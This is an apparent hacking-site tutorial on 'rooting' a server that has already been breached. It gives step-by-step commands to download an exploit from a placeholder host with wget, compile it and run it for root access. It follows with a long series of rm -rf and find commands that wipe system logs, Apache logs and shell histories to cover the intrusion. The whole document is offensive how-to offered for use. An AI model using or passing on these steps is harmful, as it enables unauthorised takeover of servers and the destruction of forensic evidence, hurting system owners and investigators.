Main » Articles » Web Hacking » Server Rooting |
SERVER ROOTING TUTORIAL
Hi guys today i will tell you how to root a server in few easy steps .
Step By Step Tutorial :
Type this command to change dir to /tmp : cd /tmp
Type : wget http://www.somesite.com/exploit.c Now this will upload the exploit in the tmp folder .
Type : gcc exploit.c -o exploit Keep in mind in the above command exploit refers to the name of your exploit (exploit.c) .so if its properly compiled with no errors & warning then you can proceed or if you get an error then find another exploit. (Case 2) If you have uploaded your exploit in a zip file then you have to unzip it by typing the below command . Type: unzip exploit.zip
Type: chmod 777 exploit
Type: ./exploit Now the exploit will run & the server will be rooted ;) . To check weather we got root we can type Type: id or whoami Clearing Logs: Now its our time to clearing our tracks or Logs . so below are some commands to delete the log files . rm -rf /tmp/logs rm -rf $HISTFILE rm -rf /root/.ksh_history rm -rf /root/.bash_history rm -rf /root/.ksh_history rm -rf /root/.bash_logout rm -rf /usr/local/apache/logs rm -rf /usr/local/apache/log rm -rf /var/apache/logs rm -rf /var/apache/log rm -rf /var/run/utmp rm -rf /var/logs rm -rf /var/log rm -rf /var/adm rm -rf /etc/wtmp rm -rf /etc/utmp history -c find / -name *.bash_history -exec rm -rf {} \; find / -name *.bash_logout -exec rm -rf {} \; find / -name "log*" -exec rm -rf {} \; find / -name *.log -exec rm -rf {} \; Hope you all guys have enjoyed this Tutorial .. If you have any Doubts then just mention it Via comment ! | |
Views: 1374 | Comments: 1 | Rating: 5.0/3 |
Total comments: 1 | |
| |